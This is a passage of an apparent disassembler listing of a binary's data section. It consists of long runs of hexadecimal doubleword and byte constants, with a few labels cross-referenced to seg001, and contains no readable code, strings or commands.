		dd 4975B533h, 0FC712E1Ah, 68142C13h, 98B8E167h,	0E88B016Eh
		dd 49010228h, 67F47CE2h, 0F89C10DEh, 59714087h,	374A990h
		dd 8C20D1B8h, 1684C04h
		dd 0FD9AB493h, 0D0914D70h, 0E9F86C8Bh, 0BC0802C0h, 0C49DF470h
		dd 3B1012D7h, 20B7E1C7h, 30A15C65h, 4D0BB501h, 0FBE8DD31h
		dd 0AC2510C7h, 0EAC0840Dh, 5810E932h, 0CFEE841Bh, 2BD74286h
		dd 69A724ABh, 27A7C45Eh, 0C1051248h, 6804E60Bh,	0A56E2F98h
		dd 604F886h, 8942F48Eh,	288C058Ch, 0F35EBC5Ch, 59F8C04Ch
		dd 1C3F646Ah, 0B06845C1h, 42E59A8Ch, 86482BFBh,	44ADB323h
		dd 8D7CF1B8h, 4E7C1643h, 0ABCE1D60h, 0F428B823h, 73AC6814h
		dd 4240C420h, 8C05A480h, 2B209B19h, 1B1C933h, 94B60F66h
		dd 4080490Dh, 404110E6h, 0F95281E2h, 0E97212DEh, 15043C53h
		dd 74274E78h, 20105C6Fh, 0F76F68Dh, 2F196511h, 0C575C04h
		dd 74EB651Bh, 861C6362h, 495DDEA6h, 5C4AAC25h, 0AF106347h
		dd 6A9EA8B7h, 0AA4651A7h, 0FAA63831h, 714D2053h, 4B847950h
		dd 305996B8h, 967E597h,	30508015h, 18544A89h, 6591858Fh
		dd 1408B055h, 6DF59057h, 99360703h, 5C6D4002h, 9C2E5D31h
		dd 36C3070Fh, 330286E9h, 948E48EBh, 9034E522h, 209561CFh
		dd 99C65810h, 98460522h, 0B40ADABCh, 4CBF4068h,	0B629622h
		dd 0E8039708h, 9E489C96h, 9E7D0BA5h, 1BA00906h,	9097A451h
		dd 2464A60Dh, 33AC0CA8h, 0B24EC6B0h, 0C43B1601h, 51FAA7E8h
		dd 68C88562h, 4C42192Ch, 8AD9A4D8h, 0AC2F2E1Ah,	66903008h
		dd 0FA94BF57h, 44B39ABDh, 601CA9F5h, 0FD843D22h, 0AE590F0Ah
		dd 0F612015Ch, 0DE6003C3h, 0F8EB0443h, 97FCBE80h, 83180CF7h
		dd 0A504C324h, 86D84ACCh, 0E43440Ch, 2C4049A8h,	1558F9EBh
		dd 58C2708h, 7B00418h, 9168BBA2h, 0D549E8F8h, 0D88B0211h
		dd 56DF3B59h, 58156395h, 0FEE9DB1Ch, 57603066h,	553BE853h
		dd 8320AAF9h, 1A228BA0h, 1185858Eh, 89400778h, 7B310C43h
		dd 0DBC8B08h, 0BB1904A9h, 2E82BDFDh, 29080A36h,	88504FC4h
		dd 0D902AD41h, 0E48B8C28h, 63747208h, 0FB751040h, 0CC901442h
		dd 1303C219h, 31A868C3h, 8F92BBAh, 3C97E70Ch, 2E048604h
		dd 0D2F44ECAh, 8B110651h, 0F42C8DC8h, 0E49D3D41h, 78B63948h
		dd 4DF90D48h, 4E301621h, 0B511BA5Bh, 91D38F33h,	20084D12h
		dd 24144F1h, 6A9A7FADh,	59DBA25Fh, 57935FF8h, 8E23EB56h
		dd 0EB18E289h, 4BF4106h, 6A823DDBh, 5391C64Bh, 4D8A3045h
		dd 24238E8Ah, 9DD190Dh,	13A92DEh, 58E6D846h, 6EF04C0Bh
		dd 4B2AEB51h, 7D80F835h, 1BD9F6DCh, 8353C905h, 83D702E1h
		dd 0C619C161h, 6A05808Ch, 4D18899Ch, 0DF1659F2h, 3992B903h
		dd 0E011F4C8h, 35165E10h, 0FA929C44h, 0B9C08431h, 851E2433h
		dd 0AE086FCAh, 6A590DFEh, 84A999C6h, 0D4354028h, 5BC90A3Fh
		dd 2090C41Eh, 0E356F633h, 0E69D7B0Bh, 4EB5FAA1h, 455288BCh
		dd 29DAB9Fh, 8719EB7h, 8C34819h, 8B1F5710h, 0EBE7B412h
		dd 654BC490h, 7E18C984h, 7328C769h, 0A324409Ah,	780432CDh
		dd 31CC693Ah, 511A3208h, 38E314B3h, 456C975Ah, 0A4B8FCDBh
		dd 89704A2Bh, 1AD00E83h, 0F24A6929h, 6C090E71h,	5000D609h
		dd 0A94FB901h, 2410ABA6h, 765B30F8h, 52A09889h,	9410E702h
		dd 0DF3339F6h, 0B3F9A934h, 76E87673h, 2A10B7BDh, 0F182FBC8h
		dd 0B5793BBh, 0FAA90B65h, 3F6D484h, 10FEB068h, 7F04060Bh
		dd 1AE4DD2Eh, 0E8E5A364h, 0A278F921h, 0D8480BB5h, 65E5AE3h
		dd 73E85734h, 2E52365Eh, 7ECEE860h, 0B4800466h,	7AE01163h
		dd 3439A151h, 9A9EC8F1h, 0CC170E24h, 5945B3DCh,	325EE7CAh
		dd 7D18B0B1h, 0C38B0907h, 0DAE027E9h, 29C80A6Ah, 9D898AB4h
		dd 1D8B41A3h, 0B50C41D0h, 0A3CC16DCh, 0DD8DE311h, 0F459170Eh
		dd 51E3D0BBh, 0CDF04EBh, 5002560Ah, 0D69A92BFh,	0A8D169F1h
		dd 40C1D515h, 6CD839F7h, 637C08F2h, 646A54C5h, 0FD455873h
		dd 0F57AE601h, 7E0FD4A0h, 6B458654h, 4B27FC54h,	0F30B02F9h
		dd 0C89072A0h, 3B818184h, 7A75F47Dh, 0C407EC35h, 94F81034h
		dd 5CFDC8C4h, 0B815F3E9h, 4258886Bh, 9C9839C9h,	8D291676h
		dd 0B3FAF95h, 10C7402h,	3B04C295h, 721682FEh, 750890F0h
		dd 0BD832116h, 0D734000h, 0A38D8489h, 8585E228h, 0BD0B3B10h
		dd 0A08A2E7Eh, 68156A56h, 0F55059E4h, 0E9D3FF06h, 5656AD02h
		dd 2BAD41B4h, 46CCC1D2h, 527F0A2Ch, 3033958Bh, 76D63BE2h
		dd 6D403A68h, 0A743884h, 0CA00C008h, 26EBF472h,	730EC24Ah
		dd 5F908D1Bh, 40A508Bh,	32108941h, 378F434Dh, 8B54EC72h
		dd 614657CBh, 0A59BE92Dh, 34ED85FCh, 0CE125024h, 688574F4h
		dd 0E88820DCh, 17008DFh, 682A18A4h, 0DD2411D4h,	25692EF7h
		dd 0AE020D8Eh, 27BC6816h, 18883DE9h, 4586B425h,	0FF892BB8h
		dd 68144984h, 1C1E229Ch, 87769443h, 846890B9h, 2C02FA84h
		dd 7043867Ch, 186810C7h, 6438D644h, 0C24C4386h,	1144681Eh
		dd 3C210EB2h, 24A22890h, 3868EBB0h, 4B1117A9h, 6813083Bh
		dd 2A774424h, 0F2F6ED11h, 0F6D61820h, 880C108Dh, 0C04713Ch
		dd 371385B2h, 0D8BED803h, 0B926494Fh, 89FEDC10h, 1E69FB50h
		dd 0C2C0B566h, 10B25943h, 0D34CD17Ah, 56C04BACh, 0AE01F1E9h
		dd 4FD0214Eh, 2AA06410h, 0BE23056Ah, 20AE2CB8h,	5066514Eh
		dd 0A44BDCEFh, 684FDB88h, 0AFEB0A0Fh, 32B06441h, 0D10F3923h
		dd 5C85C2B8h, 0D632EA30h, 32F44608h, 0EC09E045h, 0E449F024h
		dd 88540494h, 89FDB39h,	896F287Fh, 8B33222Dh, 0F33D9BF8h
		dd 51D4B1Fh, 24326A32h,	1E4DD11Fh, 0D1F028F2h, 68570A10h
		dd 8B8E4180h, 0CBAC13F1h, 104608C8h, 0A671684Fh, 0EF772339h
		dd 7468B882h, 325833A4h, 1D5D4024h, 4F542F68h, 13986966h
		dd 4724E449h, 0B94C21D3h, 0A044F521h, 21285A59h, 57319A9Eh
		dd 67831356h, 8D94298h,	112A5A6h, 8E78360Fh, 64A7DB4Ah
		dd 30965816h, 8C086817h, 0F828A4C4h, 0BEB8038Ch, 0E59269D2h
		dd 0A1BAC0D6h, 0F0CF0E4Eh, 0DE142C11h, 7529C018h, 1D565223h
		dd 8C51164Ah, 7A33C24h,	9741C5Dh, 7C6B47E8h, 0FAC8C21Bh
		dd 23CEB611h, 0D40D2CEBh, 97A46820h, 0BB5C1FE9h, 9558A89Ch
		dd 99CF93F4h, 201B420Bh, 8BA64E28h, 0D5E5A5B1h,	470C7845h
		dd 0C28882C5h, 3A8E2E0Fh, 3421A69Dh, 4E00A3B3h,	11A8E394h
		dd 51BEE0DFh, 0C98CD1C9h, 3CEA52D1h, 4614A389h,	3AF04189h
		dd 4F284736h, 2847170Ch, 9A95F291h, 28008807h, 2C0C4525h
		dd 111123AEh, 0AC0C64E8h, 0FAFA334Bh, 0E4FC8282h, 0A4CD05E5h
		dd 68354F7Eh, 6A50FB98h, 0F0604FC4h, 6CDD1410h,	7096208h
		dd 67CEF8FEh, 46406074h, 2575100Ch, 6566573Eh, 0F15192DAh
		dd 5DD8F15h, 685CD96h, 57528C10h, 0B4D0C88Ch, 0D079A850h
		dd 0C974013Dh, 59E8565Fh, 9D525DBAh, 5E994BE4h,	0F022C6E6h
		dd 0F5622727h, 0ECB91E38h, 14C41C9Ch, 3330418Dh, 6E81BD5Eh
		dd 6C03ACB0h, 0FEDCC973h, 0E8EC837Bh, 0EE84EF63h, 0ADCD962h
		dd 0FDA409D3h, 82EDC9F6h, 0AB3D252Bh, 0DCE08309h, 6D7D2CAh
		dd 0FC877B35h, 57AC6985h, 0DCF974D6h, 5350640Fh, 7FA1684Ch
		dd 51042BC8h, 0FE94143Eh, 336434B3h, 89252874h,	0BDDE868Bh
		dd 28CFFECCh, 5806C89Dh, 4124657Dh, 14F3267Ch, 502F0EB5h
		dd 0F910D822h, 44928B25h, 400A85BDh, 0CF5655D5h, 0DE10A6F7h
		dd 24815E02h, 284DFC75h, 0CB1C443Eh, 0AE842144h, 753B3787h
		dd 946724F4h, 0A31294F4h, 0CC4B7BD7h, 946CD432h, 41885083h
		dd 4081B5C9h, 49958D12h, 21D02887h, 72CB8608h, 753D08F4h
		dd 40FB8419h, 0C4B11473h
		dd 998B1C02h, 0AA5843A3h, 0F501953Bh, 73024A86h, 42E91A18h
		dd 0C7EB8D11h, 4D88712h, 1B04BD57h, 0CE1EEDFCh,	372FF321h
		dd 99F3EF13h, 0F942AB7Eh, 258D5B25h, 0BB58EA07h, 88A1E7D1h
		dd 66F6A832h, 128C86E9h, 0C40D7430h, 0E98C31EFh, 431743DFh
		dd 73C8EE0Eh, 0D28FF51Dh, 7C9DF48Ch, 8D3086C8h,	72CA3A53h
		dd 9F4B56EAh, 61AFE91Ah, 0AE1A1A89h, 0B06F097Dh, 0A5ED696Ch
		dd 0B73228A2h, 0F35A9382h, 2D2AF779h, 1818613h,	848A4330h
		dd 3C1EA005h, 5288790Ah, 0C74AB935h, 0BE040807h, 0CA11514Ch
		dd 0F2748B98h, 293CD1B3h, 24321348h, 0F8488012h, 19765905h
		dd 5548B836h, 2CBBC650h, 101C27FCh, 0F8518E40h,	8DDD3E8Fh
		dd 3FB1A8Bh, 17EB0B18h,	68282FA4h, 65F23C44h, 245FF053h
		dd 0B0783D34h, 661BBEECh, 0A5821ECEh, 4650C230h, 0AD9AE833h
		dd 59200439h, 1041820Fh, 49BD38F2h
		db 0CBh
byte_74614D	db 0C9h, 44h, 31h	; DATA XREF: seg001:off_430ED8o
		dd 16318B3Fh, 380A4252h, 23F9EBF1h, 68EBBC3Fh
		db 3, 7Dh, 0A9h
byte_746163	db 0CBh			; DATA XREF: seg001:off_42D848o
		dd 35F7FE1h, 2821F4A0h,	0D1162CF2h
dword_746170	dd 1D1A8CC1h, 7C59FC03h, 3B659181h, 83397382h, 0E86B0865h
					; DATA XREF: seg001:off_430FE0o
		dd 921CB2A5h, 60C2E824h, 4C3228ACh, 8B96B818h, 0DEA64D68h
		dd 44021809h, 7EB2648h,	2AE7ED00h, 6AF8C582h, 2C9186CEh
		dd 0F1E93255h, 7FC28B51h, 147DC462h, 0F8102248h, 388451E0h
		dd 943EB1Eh, 0FEFDB49Dh, 0F810C227h, 6448B011h,	67B19418h
		dd 96887814h, 0F810E265h, 9F4B0510h, 0A0214E67h, 5A99E88Eh
		dd 2E3A7F26h, 5BC476E2h, 2F165422h, 2153F107h, 0B4C4EC91h
		dd 3AC61FBh, 0FC38100Ah, 42FAB0C4h, 82EA88E8h, 18FD3C13h
		dd 4584F9ACh, 2A202F75h, 0A85CBD39h, 770774A1h,	0E534B68h
		dd 40ED0527h, 644A880Fh, 4C514EFFh, 98451DF6h, 0B6A9BE13h
		dd 0AC466A17h, 573D677Ch, 561B2F19h, 0E0830DFCh, 28211E6Ah
		dd 60644420h, 0F948BD83h, 98C9D738h, 885DBCCh, 5C1D750Ah
		dd 0E9938868h, 13525F22h, 70C4B98Fh, 7121EB2Dh,	4223A3C2h
		dd 0C5115154h, 14A4280Ch, 334CB3B8h, 0D5239092h, 92B42F52h
		dd 68A8554Eh, 1675C2D0h, 1B10FCBAh, 96E89E8h, 1DEB255Fh
		dd 9257FF72h, 48209417h, 10CAF4D4h, 2783CA47h, 0E88455FBh
		dd 9689E716h, 16039A7Ah, 5A307C4h, 0E4C7FF2Ch, 80AF5FF0h
		dd 9FE8FC62h, 139891E9h, 80004110h, 35742F38h, 2454E173h
		dd 0C6F00953h, 0FBF75CE0h, 8E6174Bh, 0A7F9E81Ch, 0F8A4DC6h
		dd 4A430FC2h, 0EF642610h, 760D604Dh, 1480C777h,	4C2B738Dh
		dd 26393134h, 802EC880h, 133550BCh, 24753225h, 3227F515h
		dd 0F6481AA4h, 1081309Eh, 1D84C646h, 0F2208948h, 0EB83C583h
		dd 4034C41Ah, 752F3C2Eh, 5C2C6A05h, 0F023958h, 9288C0BEh
		dd 465A1122h, 504E03E7h, 0EEEDE843h, 0F03BBE02h, 0B1907259h
		dd 9C7B50C7h, 0CF980C22h, 4F2A5442h, 741484AAh,	11535068h
		dd 9401E0CCh, 2E146831h, 0F07809F4h, 68C0F96Ah,	0D4B05E10h
		dd 898B596h, 0B27FEB07h, 1D9B802Dh, 5CA5CFEFh, 7F1B03EDh
		dd 0E039F009h, 4A3C9D4Ah, 0E8FA92F8h, 3A667423h, 55A91422h
		dd 0CFF8905Ch, 916D5590h, 15C02C88h, 45E7CF62h,	83183162h
		dd 0BA4D0B08h, 0B0CDC548h, 721C3A3Fh, 0A7D08DCDh, 0E4B5B488h
		dd 5C5BEB89h, 0B1E9C5A0h, 5276C21Fh, 67365645h,	0D9804E21h
		dd 3B353157h, 30746081h, 60226F5Bh, 7A15951h, 0D1917947h
		dd 89721774h, 595EA985h, 210D2CE6h, 561F30FBh, 0B4A6B468h
		dd 57652E65h, 0C4D21326h, 19E1CB1Eh, 0B314D460h, 0F6B44F90h
		dd 232C4EB0h, 0CD22F893h, 0B681BD3Ch, 54404D4Ch, 52A65099h
		dd 422E8D2Ah, 0B5814FC9h, 5B843C81h, 8C391274h,	38137525h
		dd 7CCC056Ah, 0D5EE57EBh, 1F6C0C66h, 38725052h,	1A84D368h
		dd 1376E6AAh, 0BF181311h, 81CA3446h, 3AC033ABh,	4D94CFDCh
		dd 0DB88B004h, 9C536CE6h, 0FC5D0C74h, 0E835F806h, 0F1B179ECh
		dd 0FC57DE4Ch, 30FE5BEEh, 74105D6Fh, 0BE4A237Eh, 0D13B9AF5h
		dd 69E08508h, 0C158384Eh, 0B5153D28h, 0E91B23EBh, 50783BFDh
		dd 840F5716h, 0A4E8E6D1h, 14888A74h, 36FF385Ch,	5B186886h
		dd 67C83884h, 4410C882h, 0EC780553h, 0FCFFBB99h, 0D86C8424h
		dd 683957B8h, 0C835D2ECh, 2C10644Dh, 0E8C38743h, 6A31172Bh
		dd 755B23Ch, 2A3804C6h,	7F0AE695h, 3714A50h, 88851C0Ch
		dd 2974EBF9h, 0C2342468h, 0C11EACFh, 0CF184861h, 101CA710h
		dd 0E29AD0B3h, 0AA5097A9h, 9774711Ch, 418AE5E9h, 6002F87Fh
		dd 0EA166DBh, 9307097Ch, 0D50C74E2h, 3C80F701h,	0F0277108h
		dd 0F4127548h, 97665040h, 9A0C445h, 5AA68AFEh, 0A55627B0h
		dd 0D03A9079h, 1D30E2C9h, 0FD7820B1h, 4A7EE273h, 0E88F5F8Ch
		dd 5D849D0Eh, 88F9D251h, 0DF85E829h, 0A0BF8103h, 9D51A5CDh
		db 1Eh,	91h
word_74656E	dw 0B622h		; DATA XREF: seg001:off_42D70Co
		dd 46A47064h, 0CEE5B868h, 0D85775B6h, 9B5284DBh, 1CA3961Bh
		dd 901B5A2Bh, 0D85F9780h, 36AC8C97h, 0E8F084C4h, 6415D087h
		dd 664B801Ch, 0B90DB8F4h, 3DE4A7B4h, 7B77E00Ch,	0BB05305h
		dd 7676E05Ah, 79080348h, 4D125162h, 0C9B8DF2h, 42056CA0h
		dd 0A3EA32EEh, 48C7F4B8h, 0E3CC628Bh, 0F620F690h, 1062D7A6h
		dd 0B0182ECh, 0C8F8BD04h, 99AC48A4h, 0C8827A1h,	17E4B170h
		dd 25FCA206h, 468A080Fh, 9518944Fh, 0CF42D227h,	66566C68h
		dd 84EC72C9h, 8BE92808h, 0E4B26C02h, 3F9804E1h,	8856424Ch
		dd 0A4C41C57h, 0E9BAF0EFh, 8F27691h, 1458668Ah,	90444568h
		dd 0E1DF867Dh, 1A7A7C64h, 403D5EE8h, 0A6591E2Ch, 7762610h
		dd 0B08F3496h, 92AD0C95h, 28F23211h, 2DFFA11Fh,	98BF8DF8h
		dd 8055A471h, 8F5DE957h, 0B1355602h, 820AE7DAh,	67559468h
		dd 0E7BA8880h, 59E92441h, 0FC218223h, 97062517h, 3C9D98B5h
		dd 85E83BE8h, 0A961E83Dh, 0EB81B16Ch, 215F23BEh, 0E765F0FAh
		dd 0A15B1C8Fh, 8654E076h, 0C7E72723h, 0FCF4281Dh, 1F4384E7h
		dd 33554CC4h, 0D33CBC34h, 0C984E647h, 8B143AE7h, 0A897F885h
		dd 69502442h, 0A554CCF8h, 0C287904Ch, 4C29EB1Ch, 0C21AF27h
		dd 5657B068h, 0E81759A6h, 8BD9E65Ch, 8752770Ch,	0B44756Ah
		dd 373E39ABh, 76134BEEh, 26CDDF2Dh, 1112BB25h, 1231287Ch
		dd 99A9A035h, 96A65262h, 90A82D51h, 8888FC1Ch, 4E199CC9h
		dd 5CF32380h, 2E00E3FDh, 1544C234h, 382AFDA6h, 8941451Bh
		dd 0D01AEB64h, 10368C63h, 0C81068FCh, 70356A26h, 4987E694h
		dd 4909747h, 57F633C3h,	0A919EBA5h, 9E380106h, 9D56559Ah
		dd 5B34C249h, 2D5125A8h, 56138291h, 3B918D53h, 0C90C7393h
		dd 2846686Ch, 0FBFC26C2h, 3024659Ch, 7D3B0C80h,	17D72FE7h
		dd 863DE38Ah, 0D8F7026Ah, 9469CB32h, 0A1FC9699h, 57142D18h
		dd 56902214h, 0F34F1056h, 0F16995Eh, 3DC4D678h,	4EC4B833h
		dd 0DD29D8E4h, 5394C994h, 92B5FEC6h, 0F59A5F8Fh, 0B0E8B821h
		dd 0C0B468E5h, 3E3C8016h, 4751C5Ch, 2F12BBC6h, 0E500A057h
		dd 0EA6453B4h, 0EBC951BFh, 5803A084h, 84FC60DCh, 5528B297h
		dd 94771DC2h, 0CD583E24h, 2BF33344h, 83575688h,	0C5EDF9Ah
		dd 7512D1EFh, 0CE72AE1Ch, 0E8F22018h, 0A59E2FF0h, 4E87E3ADh
		dd 851EF63Ch, 0F60B7074h, 176F5628h, 1C7EE205h,	6828BE56h
		dd 5D5068C9h, 14302D1Bh, 68200624h, 62C69C78h, 4B5BE3EFh
		dd 0A862F013h, 59FDE9E5h, 0A6AB2A4Dh, 1E56150Eh, 0B6DF27C5h
		dd 4D1045B0h, 25492B55h, 1F94E55Eh, 0E84ABF48h,	0AEF3B494h
		dd 4FDE1510h, 0B9F8E317h, 14571914h, 4FB7F996h,	9B1380F6h
		dd 0AB643558h, 0BC847228h, 5DE6B53h, 5E24BE09h,	0E47D8982h
		dd 66469155h, 326F58D9h, 8402F258h, 5700BFCh, 9AA5F33Bh
		dd 0F7D19485h, 35F4DA27h, 4B65BD82h, 0F00216DAh, 90687175h
		dd 0BE2C9457h, 0FB8450A2h, 8459E088h, 88DD7C23h, 84E2FF20h
		dd 0FE1C11FBh, 86FE9C18h, 23FC8422h, 21BF57F4h,	3D630CFBh
		dd 906FB5B1h, 0DADC7F43h, 6BC9D12Fh, 2F280B0Dh,	9D53832Ch
		dd 9ABC8439h, 0FFD88E64h, 3B26896h, 9EF3FE5Fh, 35FCBE8Bh
		dd 5DA25767h, 1F16FDC0h, 8868190Ah, 8D58BD13h, 84B89194h
		dd 0E2C3E908h, 0FC881384h, 3589D4B2h, 3B2FBFF2h, 2923DAC3h
		dd 0E8F06475h, 51F04825h, 688C0CA8h, 0F4E53CDCh, 0E20A0F45h
		dd 0B23C8110h, 1F62291Dh, 0C2BEE339h, 5E7CC65Dh, 30D78939h
		dd 0DC2F190h, 0D880BD89h, 0E1BF75CFh, 288D0278h, 1F831B5h
		dd 0B205CCE9h, 93D00E21h, 7C85F1C8h, 904845A5h,	0DC4A84E8h
		dd 0CC2F40F6h, 178B27F8h, 9A9D5A79h, 8EB3C833h,	0A0A1C995h
		db 90h
byte_74696D	db 0B7h, 8Bh, 0CFh	; DATA XREF: seg001:off_42D710o
		dd 80858817h, 4DFEDC84h, 891181D8h, 0FE10FC94h,	0D885E9DAh
		dd 0E0C894F0h, 88D0D45Eh, 7D688A71h, 0B4EB2527h, 0F12E208Dh
		dd 0C98A7B9Fh, 0CFA8507Ah, 38DB4091h, 59299D50h, 1BA506B5h
		dd 0BD801AC9h, 867E1D29h, 4E965A15h, 8BE8B863h,	84190DE1h
		dd 2A352B05h, 16180FA1h, 2BA48AD2h, 1832892Ah, 0F54CFE14h
		dd 654DD711h, 456AF5D3h, 56AAE835h, 3145A928h, 0F5DD1AECh
		dd 36BD773Ah, 537143B2h, 368468B7h, 96B1B5F5h, 88D15184h
		dd 0C6DF489Dh, 62DD49F9h, 225032F7h, 17831982h,	0F153E8E1h
		dd 4D159966h, 0C64BCCD4h, 0FC247001h, 76362A51h, 6BD49E6Ah
		dd 0E62955FEh, 6889E368h, 0BEE40A60h, 0AADAA258h, 0D0DA457Dh
		dd 888D551Ah, 59053A89h, 31CC10E9h, 0AD6091FCh,	0A34C57C1h
		dd 8C8872B7h, 0E479EAFDh, 305CCC14h, 9811E5D0h,	0BE3A4518h
		dd 55CA6419h, 18048867h, 8D8A1BA7h, 46DA2B45h, 0BCC7824Ah
		dd 12750201h, 0C932C0FEh, 1682F341h, 0EB834432h, 0C1FE0E14h
		dd 418DC810h, 81C0B60Fh, 0E0C1C906h, 53D10308h,	2B090C82h
		dd 534450C6h, 0EAF3E321h, 10D24846h, 881C8BF0h,	0E2A7BF07h
		dd 0ABC8281Dh, 16044709h, 0F020CA3Bh, 58FCC9CBh, 41682B12h
		dd 0E95840BCh, 421BBA49h, 6809C1FAh, 90B58B0h, 0A3F45D39h
		dd 848F0F77h, 29FB0095h, 568001EBh, 0FC92EEFh, 590BA336h
		dd 16139E39h, 3BCE13FAh, 45D6E227h, 2151ADB7h, 10B456C7h
		dd 3EAC6D95h, 5355C8F4h, 16E13CB2h, 505D40EAh, 0E818F4B8h
		dd 392AD8DCh, 12584A1Dh, 0BFB50B07h, 41747EE8h,	60BE5618h
		dd 28068B1Fh, 2AB4D803h, 0E1D3DA46h, 0A468CF8Ah, 0ADE80D31h
		dd 5711085Fh, 884A49FBh, 4F39728h, 0B93CC683h, 0F87E141Ah
		dd 5E027A98h, 1F6835FFh, 0D284DD74h, 53ABD233h,	0C903F99h
		dd 58E4856Eh, 0E146A4Eh, 0E6B53897h, 23565268h,	75C538E6h
		dd 52C194C4h, 13E293DDh, 88D51446h, 275C7E12h, 0FF0B7B2Bh
		dd 2920C534h, 8C9094D1h, 5E1822E5h, 0D7F9E812h,	13295EA3h
		dd 8BE49416h, 42DE3CDh,	21792BF3h, 37DFE26Dh, 0CE6F1811h
		dd 853278E6h, 50530D38h, 98565C3Eh, 0B8037616h,	58479466h
		dd 5A6408A9h, 2469142h,	7BE8046Ah, 41999AD4h, 43845591h
		dd 90A320A1h, 0C2BCBFE0h, 42F60895h, 0A353863Dh, 1A18C4CCh
		dd 0CC81D89h, 68C342DCh, 0BE310403h, 0BF44C3C0h, 0BB056E35h
		dd 6A08F074h, 0B0B9A218h, 98984954h, 83B8A31Bh,	3E402822h
		dd 509A7F6Ah, 0DD741AC5h, 0D6184509h, 0E88F318Ah, 42307A43h
		dd 0DB5405C7h, 0EB814733h, 10C4441Ah, 23C82037h, 2005EACDh
		dd 35270ABAh, 0B9CEAD83h, 135FAC21h, 53474AD3h,	31C24812h
		dd 44D1701Eh, 0E8BB1C31h, 2907B828h, 3A806853h,	405A218Bh
		dd 4C7367A9h, 4B1D0D14h, 85C34C98h, 9C214DA4h, 326A2504h
		dd 0E2D24CBDh, 716E9145h, 14654586h, 1E142690h,	18367720h
		dd 70C914BFh, 244904C7h, 12AA9024h, 1F78CB20h, 0C4CA4218h
		dd 102EEF55h, 0A8F1C910h, 283D0BCBh, 0EF4724C4h, 0A442AC3Fh
		dd 0CC042048h, 918AACEAh, 16E2241Fh, 0B4101843h, 205E2D5h
		dd 1C30D051h, 100885CBh, 41D788C9h, 5F1D04D2h, 1620209Fh
		dd 22FB069h, 0A012D1Bh,	1CEA5924h, 0B2D84D68h, 24EFE929h
		dd 28433E52h, 3092713h,	0BAD229E8h, 0EC0B9852h,	894C9BC7h
		dd 22305356h, 15905C6Ah, 18F14027h, 90274A6h, 24A11888h
		dd 15CE2828h, 35799404h, 310AC8F0h, 11C5640Ah, 3B22D4ECh
		dd 0A3FD0692h, 8DFA2560h, 4494051h, 892803F3h, 1EB5FC0Dh
		dd 506EA213h, 0E881181Ah, 129BB605h, 8CBE2859h,	0A7125E42h
		dd 30D38D4h, 8CCF4480h,	42C8F821h, 0F122C560h, 3AD23448h
		dd 0C102C3Ah, 6968ECC9h, 1D14D148h, 2CD43926h, 81344BD8h
		dd 0C2993B59h, 0B97526Ah, 0FC338DAEh, 3ECA1BBEh, 644B2EE9h
		dd 0CC202066h, 0DDE7CB97h, 9DE377EFh, 43DE2549h, 4D58C32Dh
		dd 5E5162E2h, 0E818F75Dh, 0ADB75610h, 0C72B6A59h, 7F713BE1h
		dd 0E8F00630h, 0BEE3963Dh, 76590F8Bh, 719243F4h, 0FCC8B9A8h
		dd 0F409F899h, 5FB4A547h, 1CAD25AAh, 6626AE0Fh,	1BC47639h
		dd 0D21BD3E7h, 0F8441AD6h, 2F586DAh, 37CD24FCh,	3FA478A9h
		dd 5BFC63Bh, 0A51FBEB4h, 4D258A69h, 0F89209F4h,	1CA478C9h
		dd 0CD040A88h, 0DD5E45D1h, 1AFDF278h, 200BFD5Eh, 0E196A0Fh
		dd 0FD166A02h, 573E8699h, 8FE0BC57h, 845646Fh, 0A964BB12h
		dd 0F85516BEh, 0DEFCF2E3h, 1BDFD28Dh, 6C66ECE6h, 0F81EC1BDh
		dd 0D090DE78h, 2E4E775Fh, 0BBDBF173h, 10BD2815h, 5661369Eh
		dd 607BF88Bh, 0FB3BC0A0h, 0F09F0F27h, 938CBBABh, 272DBA8Ch
		dd 0DB019D2h, 0BD475ECh, 14880C7h, 40B22079h, 0D35244D8h
		dd 7971BF4Ch, 2B82D2B8h, 0DB6959DEh, 83F21064h,	0A2B3AE9Fh
		dd 0A924C53Ch, 0AAF324F4h, 0F07D8C5Fh, 6EF9744Eh, 46FE3208h
		dd 0EBE80D59h, 9500578h, 11B58B08h, 3546B3F9h, 57C42512h
		dd 7422F314h, 8460F4FDh, 11C10668h, 1883304Ch, 27452028h
		dd 0C49CD1F3h, 7C32C894h, 7E8FA669h, 21592570h,	0E06E543Bh
		dd 687B30C1h, 7272C2A0h, 58859C22h, 0AE320844h,	10191651h
		dd 0B630EC60h, 0BD80122Dh, 0F51F5740h, 59E8F1B1h, 138FDE6Dh
		dd 0C01006ECh, 0B88A9B95h, 9E4C1EE8h, 0B321C8FCh, 0C9853152h
		dd 986B08E5h, 92ABE988h, 156D8521h, 463526F8h, 0E0350BD1h
		dd 30907654h, 8C8885C4h, 80AC2E08h, 6E8D7A86h, 0A5080EB2h
		dd 3D530925h, 0A84F65ECh, 0E81499CCh, 0FEA41288h, 0A808EC44h
		dd 9408C464h, 9E4BE066h, 0BFD3B4A9h, 0E4FBA737h, 0A28D7636h
		dd 70337F3Ah, 3D5C90F9h, 3FC0510Fh, 382E588Dh, 4269E90Eh
		dd 614C8259h, 0A89275CEh, 9536775h, 14BE01CCh, 55A3B45Fh
		dd 44A9F44Bh, 9DB408EFh, 4DC3C6D1h, 4C6422D4h, 2627ECD1h
		dd 7DE8FE53h, 0A41AE892h, 293C6027h, 800582CDh,	753ECC50h
		dd 3FBE6924h, 0A4C32649h, 99A995E3h, 2FA0DC11h,	4D758F21h
		dd 934B891h, 13617868h,	9CFD2B0h, 39593481h, 7585405Dh
		dd 1BA4531Dh, 0D6253AB6h, 71DF5342h, 274A7EE8h,	0FE3410A0h
		dd 92FED84h, 0A7397959h, 1CC53888h, 0EB35D4D4h,	89FB449Eh
		dd 0A4A0CD1Ch, 37A42D9Ch, 0E6AF820Bh, 51B45588h, 0DC200368h
		dd 7C50C829h, 82C83090h, 0C1A073A1h, 0CA1F1EC5h, 95D8FE88h
		dd 0F42CB61Ah, 88FE24E8h, 0DAEC49Ah, 0A6987598h, 1C656E25h
		dd 0D84D2531h, 0B512E3Ch, 2D4660C6h, 0FF1E6A02h, 71F5EBD6h
		dd 88704853h, 124460E4h, 27A2C650h, 2D282829h, 0B03B470Ah
		dd 51860F05h, 0D080A759h, 0B1A15D60h, 87D0BC8Fh, 50EA4060h
		dd 7CB73ED0h, 0BD2EE5AAh, 454404C9h, 0B48A504Ch, 62905B48h
		dd 0A9DCCEB7h, 469AF0C4h, 6C493884h, 662E50A7h,	35E99AD4h
